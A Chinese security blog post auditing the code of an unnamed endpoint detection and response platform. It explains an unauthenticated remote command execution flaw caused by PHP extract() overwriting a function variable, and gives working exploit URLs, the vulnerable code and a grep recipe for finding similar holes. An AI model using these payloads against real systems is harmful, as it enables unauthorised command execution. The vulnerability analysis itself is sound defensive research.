EvilChen

Github | X (Twitter) | About | Links

某终端检测响应平台代码审计分析

某终端检测响应平台代码审计分析

前言

2020年08月17日收到一条漏洞情报,某终端检测响应平台代码未授权RCE:/tool/log/c.php?strip_slashes=system&host=id

-w1120

参数:host,可以修改任意的系统命令进行执行。

原理分析

首先我们跟进一下/tool/log/c.php文件发现其没有任何权限限制,所以我们只需要看一下请求参数是如何传递的,搜索关键词:

$_POST
$_GET
$_REQUEST

在代码第144行、146行分别调用了变量匿名函数,并将$_REQUEST作为传递参数:

$show_form($_REQUEST);
...
$main($_REQUEST);

先跟进$show_form这个匿名函数:

$show_form = function($params) use(&$strip_slashes, &$show_input) {
    extract($params);
    $host  = isset($host)  ? $strip_slashes($host)  : "127.0.0.1";
    $path  = isset($path)  ? $strip_slashes($path)  : "";
    $row   = isset($row)   ? $strip_slashes($row)   : "";
    $limit = isset($limit) ? $strip_slashes($limit) : 1000;
    
    // 绘制表单
    echo "<pre>";
    echo '<form id="studio" name="studio" method="post" action="">';
    $show_input(array("title" => "Host ",  "name" => "host",  "value" => $host,  "note" => " - host, e.g. 127.0.0.1"));
    $show_input(array("title" => "Path ",  "name" => "path",  "value" => $path,  "note" => " - path regex, e.g. mapreduce"));
    $show_input(array("title" => "Row  ",  "name" => "row",   "value" => $row,   "note" => " - row regex, e.g. \s[w|e]\s"));
    $show_input(array("title" => "Limit",  "name" => "limit", "value" => $limit, "note" => " - top n, e.g. 100"));
    echo '<input type="submit" id="button">';
    echo '</form>';
    echo "</pre>";
};

变量匿名函数 $show_form 具有一个形式参数 $params 在这里也就是array("strip_slashes"=>"system","host"=>"id");

接下来执行extract($params);,后进入如下代码:

$host  = isset($host)  ? $strip_slashes($host)  : "127.0.0.1";

在这个过程中就产生了漏洞,想要了解具体原因,我们需要了解extract函数的作用,该函数是根据数组的key=>value创建变量$key=value(官方解释:extract — Import variables into the current symbol table from an array

知道其函数作用之后,我们就大致明白漏洞原因了。

首先函数传入参数值为array("strip_slashes"=>"system","host"=>"id");

经过extract()函数后,赋值了2个变量:

$strip_slashes = 'system';
$host = 'id';

在第91行代码,变量$host利用三元运算重新赋值$strip_slashes($host)

而实际上其赋值内容是函数system('id')的返回结果,这也就造成了命令执行漏洞。

同类漏洞寻找

首先在全局文件中搜索$_GET、$_POST、$_REQUESTextract(,其次在这些文件中使用正则寻找变量函数传递变量:\$[a-zA-Z0-9_]*\(\$[a-zA-Z0-9_]*\)

Linux grep寻找命令:

grep -E "\$_GET|\$_POST|\$_REQUEST" . -r --include \*.php -v | grep "extract(" -v | grep -E "\\\$[a-zA-Z0-9_]*\(\\\$[a-zA-Z0-9_]*\)"

简单分析获得了另外三处RCE:

/tool/php_cli.php?strip_slashes=system&code=id
/tool/ldb_cli.php?strip_slashes=system&json=id
/tool/mdd_sql.php?strip_slashes=system&root=id

但无法真正利用,三处文件开头都有一个类似文件存活的判断,不存在代码则die退出,而默认环境上是存在:

-w568

最后

该套程序还有诸多漏洞未被披露出来,建议采用ACL控制访问或下线该业务,等待官方升级补丁。